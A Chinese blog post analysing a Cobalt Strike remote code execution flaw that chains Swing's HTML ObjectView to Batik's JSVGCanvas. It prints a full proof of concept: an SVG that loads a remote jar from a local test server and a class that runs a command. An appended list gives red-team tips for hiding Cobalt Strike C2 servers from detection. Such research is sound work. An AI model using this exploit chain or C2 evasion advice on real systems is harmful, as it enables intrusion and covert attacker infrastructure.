Cobalt Strike RCE漏洞浅析

Posted 伟盾网络安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Cobalt Strike RCE漏洞浅析相关的知识,希望对你有一定的参考价值。

0x01 前言

本次我们要讲的是前段时间传的比较火的Cobalt Strike RCE漏洞分析,你们也可以当作我是在炒冷饭,我也是最近才有时间去研究了一下,不得不说,漏洞触发确实有点意思,发现的人也是费了点心思,不过原理没那么复杂,下面大家跟着我一起看下去就能明白这个漏洞的前因后果了。如果有讲的不对的地方,各位巨佬们多多包涵。

0x02 前置知识

在此之前,我要给大家讲一些基础概念知识,这样能比较好的帮助大家更好的理解这个漏洞的原理。已经了解的大佬们,可以直接看漏洞分析部分。

01 svg基础知识

首先我们要知道什么是svg,下面我给出百度大爹的专业解释(凑字数😄)

SVG是一种图形文件格式,它的英文全称为Scalable Vector Graphics,意思为可缩放的矢量图形。它是基于XML(Extensible Markup Language),由World Wide Web Consortium(W3C)联盟进行开发的。严格来说应该是一种开放标准的矢量图形语言,可让你设计激动人心的、高分辨率的Web图形页面。用户可以直接用代码来描绘图像,可以用任何文字处理工具打开SVG图像,通过改变部分代码来使图像具有交互功能,并可以随时插入到HTML中通过浏览器来观看

前面一堆废话,重点关注我加粗的字体部分就好,其中最关键的一点就是它可以在浏览器中来查看,这里其实会牵扯到一个东西,就是xss,其实svg也是被浏览器解析的,并且它可以插入html脚本,那么就可以造成xss漏洞,听到这里,大伙是不是在往RCE去关联,是不是xss漏洞的问题啊,巴拉巴拉之类的,其实不然,svg这里只能理解为一个导火索,具体细节我们后面会讲。

下面我们来看一下一个标准的svg文件时什么样的代码,贴出来

<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
</svg>

这就是最基础最简单的svg代码,这么看大家就理解了吧,他本来就是html的一部分,弹个窗啥的也不过分。

这里xmlns是命名空间,XML内容通过给明确的标签显示“命名空间声明”来告诉使用者哪个方言标签名称属于哪个,命名空间声明是通过 xmlns attribute 提供的。这里就可以理解成引用的名字,用来定义一些命名空间前缀。

如何定义命名空间前缀呢?看下面的代码

<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<script xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="./1.js">
</script>
</svg>

1.js里面是弹出窗口,访问来看一下效果

这里是通过命名空间xmlns声明了命名空间前缀xlink,然后使用xlink来定义href属性的值,引入外部连接,这里是简单的使用了解即可。

02 swing基础使用以及ObjectView对象特性

关于swing的基础使用,我们也是简单讲一下,这里就不长篇大论了,毕竟这个玩意是用来开发图形化界面的,一般人平时不太会用到。

下面我给出示例代码

package study;

import javax.swing.*;
import java.awt.*;

public class SwingDemo 

    public static void main(String[] args) 
        init();
    

    private static void init() 
        JFrame frame = new JFrame("这是我们的JFrame窗口。");
        frame.setBackground(Color.BLUE);
        frame.setBounds(500, 500, 400, 400);

        // 设置文字JLabel
        JLabel label = new JLabel("hello swing");
        frame.add(label);

        frame.setVisible(true); // 设置窗口可见

        // 关闭事件
        frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
    

运行界面,如图

这里主要是起了一个frame框架,然后设置了大小,之后加入了一个JLabel标签,这个标签可以理解为text文本标签。

还可以插入图片,如图

可以看到玩法还是挺多的,大家感兴趣的话可以去学习一下,这里不多讲。

讲完了基础使用,我们就要来讲一下ObjectView这个对象了他的全限定类名是 javax.swing.text.html.ObjectView,为什么要讲这个类呢?因为这个类和漏洞的产生有着直接的关系,这个类能能干什么,我简单举个例子大家就能明白了,先来看一下api文档 :ObjectView

重点我标注出来了,文字描述也贴一下,怕你们图片看不清

此视图将尝试加载classid属性指定的类。 如果可能,使用用于加载关联文档的类加载器。 这通常与用于加载EditorKit的ClassLoader相同。 如果文档的ClassLoader为null,则使用Class.forName 。

如果可以成功加载该类,则将尝试通过调用Class.newInstance来创建它的实例。 将尝试将实例缩小到键入java.awt.Component以显示该对象。

一个简单的HTML调用示例是:

<object classid="javax.swing.JLabel"> <param name="text" value="sample text"> </object>

可以看到是通过这个方法去加载classid定义的类的,没看文档之前我也是不知道的,我使用了一个笨方法,可以给大家分享一下。

首先通过前面的描述我们可以知道,这个对象可以根据classid(全类名)来加载指定的类,如果没有找到对应的类加载器,则使用Class.forName去加载这个classid的类,并且使用newInstance进行实例化。

那么从这些信息中,我们可以得知,它会加载类并且实例化对象。那么,就很简单了,我们只要找到被加载类的构造方法,打上断点,然后使用官方给出的示例代码,那么就可以通过构造方法回溯到加载类的方法。

在此之前还有一个概念要讲一下,就是swing是支持html代码解析的,不过不是所有标签都能解析,比如script以及一些其他的,可能不能正常解析执行,给一个demo

JLabel label = new JLabel("<html><img src=1>");

可以看到插入了img标签

然后我们来使用官方给出的示例代码来试一下

JLabel label = new JLabel("<html><object classid=\\"javax.swing.JLabel\\"><param name=\\"text\\" value=\\"chabao is handsome\\"></object>");

可以看到通过之一段html代码,我们反而插入了一段JLabel标签,是不是很神奇,我当时也觉得有点意思,还能这么玩。

前置知识差不多讲完了,下面我们进入正题吧,盘他!

0x03 漏洞分析

01 代码调试

下面我们开始代码调试环节,帮助大家更好的理解这个漏洞,首先我们需要在一些方法上打上断点

  • javax.swing.text.html.ObjectView#createComponent
  • javax.swing.text.html.ObjectView#setParameters

首先我们要使用一段代码来作为调试使用,贴出来

// 定义一个类,用来测试
import java.io.IOException;

public class Demo2 

    public Demo2()
        try 
            Runtime.getRuntime().exec("calc");
         catch (IOException e) 
            e.printStackTrace();
        
    


// Demo代码
import javax.swing.*;
import java.awt.*;

public class SwingDemo3 

    public static void main(String[] args) 
        init();
    

    private static void init() 
        JFrame frame = new JFrame("这是我们的JFrame窗口。");
        frame.setBackground(Color.BLUE);
        frame.setBounds(500, 500, 800, 800);

        // 设置文字JLabel
//        JLabel label = new JLabel("<html><object classid=\\"study.Demo2\\"><param name=\\"text\\" value=\\"calc\\"></object>");
        JLabel label = new JLabel("<html><object classid=\\"study.Demo2\\"></object>");
        label.setBounds(0, 0, 300, 300);
        frame.add(label);

        frame.setVisible(true); // 设置窗口可见

        // 关闭事件
        frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
    

debug模式运行程序,如图

这里可以看到对我们传入的classid进行解析,然后使用 createComponent 方法尝试对该类进行加载并且实例化,类加载的时候可以看到initialize选项为true,其实也是会执行被加载类的static代码块的,不出意外的话执行下去应该就会弹出计算器了,再往下在的话会做一个类型判断,我们等会来讲,先看执行结果

这里和我们预想的是一样的,到这一步,我们可能会思考,任意类加载,这个可不可能造成什么问题呢,但其实这里还是局限性很大的,因为即使你能加载一些特定的类,但是里面的参数你均不可控,那么其实无意义。

这个时候,前面的第二块代码处的作用就要体现出来了,不是类加载没危害吗,哎,我给你造一个漏洞点出来!

第二块代码块做了什么操作呢?首先我们要知道如何才能满足他的条件,o instanceof Component,这一段是什么意思呢,相信有一些基础的应该都知道,这里做了一个类型判断,就是说实例化生成的o对象必须为Component的子类或者实现类,那么我们看一下Component是啥

这里可以看到,Component是一个抽象类,如果我们想通过if判断的话,那么我们就要找到一个继承Component的类,然后来看一下 javax.swing.text.html.ObjectView#setParameters 方法里做了什么操作

还是以我们自定义的类为例,稍微修改一下

import java.awt.*;
import java.io.IOException;

public class Demo2 extends Component 

    private String name;
    
    public Demo2()
    
    
    public void setName(String name)
        try 
            Runtime.getRuntime().exec(name);
         catch (IOException e) 
            e.printStackTrace();
        
    

这里我们模仿JLabel,写一个setXXX方法,看下是如何被调用到的。前面的示例代码也得改一下

import javax.swing.*;
import java.awt.*;

public class SwingDemo3 

    public static void main(String[] args) 
        init();
    

    private static void init() 
        JFrame frame = new JFrame("这是我们的JFrame窗口。");
        frame.setBackground(Color.BLUE);
        frame.setBounds(500, 500, 800, 800);

        // 设置文字JLabel
        JLabel label = new JLabel("<html><object classid=\\"study.Demo2\\"><param name=\\"name\\" value=\\"calc\\"></object>");
//        JLabel label = new JLabel("<html><object classid=\\"study.Demo2\\"></object>");
        label.setBounds(0, 0, 300, 300);
        frame.add(label);

        frame.setVisible(true); // 设置窗口可见

        // 关闭事件
        frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
    

重新debug启动程序,进入到 javax.swing.text.html.ObjectView#createComponent 方法,如图

可以看到已经满足if条件了,然后我们进入到 javax.swing.text.html.ObjectView#setParameters 方法

这里先是获取到Demo2对象的类对象,然后使用 Introspector.getBeanInfo(k) 方法获取Demo2类对象的所有信息,封装到BeanInfo对象中。

接着往下看

这里要分几步讲了,首先获取BeanInfo对象的属性描述信息,然后遍历属性数组对象。之后使用 attr.getAttribute(props[i].getName()) 来获取属性的值,props[i].getName() 操作是获取属性的name,就是上面的那些name,然后根据name去attr对象中寻找对应name的值,我们看一下attr对象

这里的name对应的值就是calc,我们自己定义的参数值。再来看一下name对应的PropertyDescriptor对象内容

里面封装的就是我们自己定义的setName方法,作为writeMethod对象,接着往下看

这里有一些限制条件,首先是参数列表那一块,这里限制方法的参数列表只能为一个参数且需要为String类型,超出就退出不予执行。第二个就是方法修饰符的问题了,我们可以跟一下 sun.reflect.misc.MethodUtil#invoke 方法看一下

继续跟入 java.lang.reflect.Method#invoke

可以看到全称没有设置方法的访问权限,所以就导致了私有方法是无法直接调用的。

回到刚才的代码,value作为值、write 作为方法,最后使用反射执行comp对象的write方法,也就是Demo2的setName方法

往下继续执行,应该就会进入 study.Demo2#setName 方法了

最后弹出熟悉的计算器,就不截图了

还有前面我们分析的方法访问权限的问题,我把setName设置为private修饰符,看一下

可以看到编译报错了

02 这是漏洞吗?

这里我想请大家和我一起思考一下,在只能执行继承了Component类的情况下,且只能调用public修饰符修饰并且参数个数只能为一个且需要为String类型的时候,能构成漏洞触发点吗?

我虽然不知道漏洞发现者当时是怎么想的,但我是在想,这种情况下能构成漏洞吗?当然对于已经公布出来的信息,大家肯定毋庸置疑的认同这是一个漏洞,但如果没有公布出来之前呢?我想不是每个人都会去深入挖掘吧。这里其实也可以当成是一种反思,某些看似正常的功能点,放到一个特定的场景下,是否会构成漏洞,这是我自己根据这个漏洞得到的想法。

屁话不多说了,答案肯定是能构成漏洞点的,就是需要我们自己去寻找那个特定的类,条件就是要继承Component,并且由public修饰的参数为一个且类型为String的方法,这里由于本人asm操作玩的并不是那么溜,所以我是依赖编译器和正则的方式去找的。

首先使用打开Component类,如图

使用idea快捷键:ctrl+alt+b 查找 Component 的子类,效果如图

然后可以使用箭头指向的地方,打开符合条件的列表,方便查找

这里要说一下,本来我对这个漏洞也只是简单了解,不知道漏洞触发类是在哪里,所以我是先在jdk自带的类中寻找了一番,发现没有符合条件的,后面才想到去cs的jar包中去寻找的,浪费了一点点时间,不过无伤大雅。

通过正则匹配public修饰且参数类型为一个String的方法,最终也是在cs包中找到了触发类,org.apache.batik.swing.JSVGCanvas,其实这个洞本身并不是cs的锅,只是swing解析html以及ObjectView对象的特性加上了apache的batik包,才最终导致了漏洞的产生。

我们看一下这个类符合条件的那个方法

很显然,看到setURI方法大家应该就能想到应该和外部url有关,然后看到调用了一个 org.apache.batik.swing.svg.JSVGComponent#loadSVGDocument 方法,单从名字上去看,应该就知道和svg有点关系。这里我们前面学过的基础知识就要派上用场了。

我们来换个Demo类,先来过一遍这个流程,这里的cs包我是导入到idea的库里面了,你们得先把这个jar包导入类库才能调用里面的类哦。

import javax.swing.*;

public class SwingDemo2 

    private static final String HTML_TEXT = "<html><object classid=\\"org.apache.batik.swing.JSVGCanvas\\"><param name=\\"URI\\" value=\\"http://127.0.0.1:8001/2.svg\\"></object>";
    public static void main(String[] args) 
        init();
    

    private static void init() 

        JFrame frame = new JFrame("这是我们的JFrame窗口。");
        frame.setLayout(null);
        frame.setBounds(300, 200, 600, 400);

        // 设置文字JLabel
        JLabel label = new JLabel(HTML_TEXT);
        label.setLayout(null);

        label.setBounds(100,100,300,400);
        frame.add(label);

        frame.setVisible(true); // 设置窗口可见
        // 关闭事件
        frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
    

    private static void doMain() 

    

这里是通过object标签动态实例化类 org.apache.batik.swing.JSVGCanvas ,然后调用其setURI方法,我们来debug跟一下,直接定位到 org.apache.batik.swing.JSVGCanvas#setURI 方法

来看一下2.svg文件内容

很简单,就是一个弹窗,代码继续往下走,进入到 org.apache.batik.swing.svg.JSVGComponent#loadSVGDocument 方法,我们在 org.apache.batik.bridge.BaseScriptingEnvironment#loadScript 方法打上断点,然后直接进入到该方法,这里是造成漏洞的最核心的点

这里先是通过解析将我们的2.svg每个标签以及属性都进行了相应解析封装为对象,然后从script对象中获取属性type,就是我们的script标签,如果没有获取到type,那么就会使用默认的type "text/ecmascript"。

接着往下走

如果type为 "application/java-archive" ,那么就进入到该分支,这里不相同继续往下走 ,这个分支我们下面会讲

根据type获取到相应的解释器,这里获取到的是null,我们可以看一下报错信息

可以看到没有找到 org/mozilla/javascript/WrapFactory 这个类,这也是我一开始复现发现的问题,因为cs中默认不包含该jar包,所以如果直接使用默认type的话,那么是无法执行我们的代码的,其实这个jar包本来也有相应的安全问题,可以调用java代码执行命令,是js的解释器(说得不对的话轻点喷哦)。

这个时候很显然这样子是行不通的,那么我们就要回顾代码,去看一下另一条路。还记得我们前面说的第一个分支吗,if (type.equals("application/java-archive")),我们来细看一下代码部分

上面我做了一些注释,大概意思就是,从我们svg文件中定义的xlink:href属性的值中加载一个远程jar包,然后从jar包中搜索MANIFEST.MF文件,之后读取该文件,解析成键值对的形式。然后通过key:Script-Handler 获取对应的值,之后对该值进行加载并且实例化,这个值可以理解成jar包中的一个类的全限定类名。

咦?这么来看大伙是不是有希望了!

那么大致的攻击思路我们也就有了,准备一个svg文件和一个含有恶意类的jar包,然后通过ObjectView对象的特性去调用 org.apache.batik.swing.JSVGCanvas#setURI 方法,最终进入到org.apache.batik.bridge.BaseScriptingEnvironment#loadScript 方法触发代码执行。

说干就干,这里给大家做一个演示,请勿用于非法攻击,不然造成后果,本人概不负责!

编写一个svg文件

<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
   <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
   <script type="application/java-archive" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="http://127.0.0.1:8001/test.jar">
   </script>
</svg>

再编写一个恶意类,然后jar的方式打包,打包命令:jar cvf test.jar Test.class

import java.io.IOException;

public class Test 

    public Test()
        try 
            Runtime.getRuntime().exec("calc");
         catch (IOException e) 
            e.printStackTrace();
        
    

打包成jar包之后,找到MANIFEST.MF文件,添加一段内容:Script-Handler: Test (这里只要类名就可以哦)

之后使用一段简易的代码去执行

import org.apache.batik.swing.JSVGCanvas;

import javax.swing.*;

public class Demo1 extends JLabel 
    public static void main(String[] args) 
        JSVGCanvas jsvgCanvas = new JSVGCanvas();
        jsvgCanvas.setURI("http://127.0.0.1:8001/1.svg");
    

执行效果如图

报错是因为类型转换错误,只要实现ScriptHandler接口就可以避免这个报错了,但是本地测试是没问题的,再Cobalt Strike中测试时,会报找不到ScriptHandler类,所以不实现ScriptHandler接口即可正常类加载执行命令。

0x04 总结

总算写完了,实属不易,关于beacon上线那一块我就没有写了,网上的脚本很多,可以直接拿来用。主要是学习下这个漏洞的触发原理,也是有所收获的,感谢大佬挖出这么有意思的漏洞,来让我们学习。

0x05 参考文章

SVG 命名空间

红队 Cobalt Strike 安全加固

1.不要使用 Cobalt Strike 默认的HTTPS证书。
  1.1 如何使用自签名证书见  https://wbglil.gitbooks.io/cobalt-strike/cobalt-strikekuo-zhan/csmo-ren-duan-53e3-zheng-4e66-za-xiang.html
  1.2 有自己域名情况下可使用 Let‘s Enceypt 生成免费证书,如果你赖的话可直接使用在线生成 https://freessl.cn/,然后把证书转为JKS格式即可(在线转换 https://myssl.com/cert_convert.html)

2. 0.0.0.0 是 Cobalt Strike 的 DNS Beacon特征。使用 Malleable C2 中的 dns_idle 选项将其更改为其他内容。
3.编辑teamserver脚本的最后一行,将端口从50050更改为其他内容。
4.如果 Cobalt Strike 正在承载信标有效载荷阶段,它将发送有效载荷阶段以响应有效请求。即使在 Cobalt Strike 中配置 HTTP stager 块,这仍然是正确的。HTTP Stager 块重新配置 Cobalt Strike 中的分段指示器。它不会禁用与 Metasploit 框架的兼容性。如果不希望 Cobalt Strike 承载有效载荷阶段,请将 Malleable C2 中的 host_stage 选项设置为 false。此选项需要对操作方式进行一些更改。
5.使用 Apache 或 Nginx web服务器作为 CS 攻击团队服务器的重定向器。将对团队服务器的80/443连接限制为这些重定向。正确配置的重定向器将平滑特定于 Cobalt Strike web服务器的指示器(例如用于SSL连接的JA3S指纹)。对于非登台和非命令和控制uri,重定向也是提供合法内容的机会。

以上是关于Cobalt Strike RCE漏洞浅析的主要内容,如果未能解决你的问题,请参考以下文章

网络安全内网杀器之Cobalt Strike

152.网络安全渗透测试—[Cobalt Strike系列]—[会话管理/派生]

150.网络安全渗透测试—[Cobalt Strike系列]—[DNS Beacon原理/实战测试]

153.网络安全渗透测试—[Cobalt Strike系列]—[生成hta/exe/宏后门]

148.网络安全渗透测试—[Cobalt Strike系列]—[HTTP Beacon基础使用/脚本web传递/屏幕截图/端口扫描]

渗透测试利器【Cobalt Strike】CDN隐匿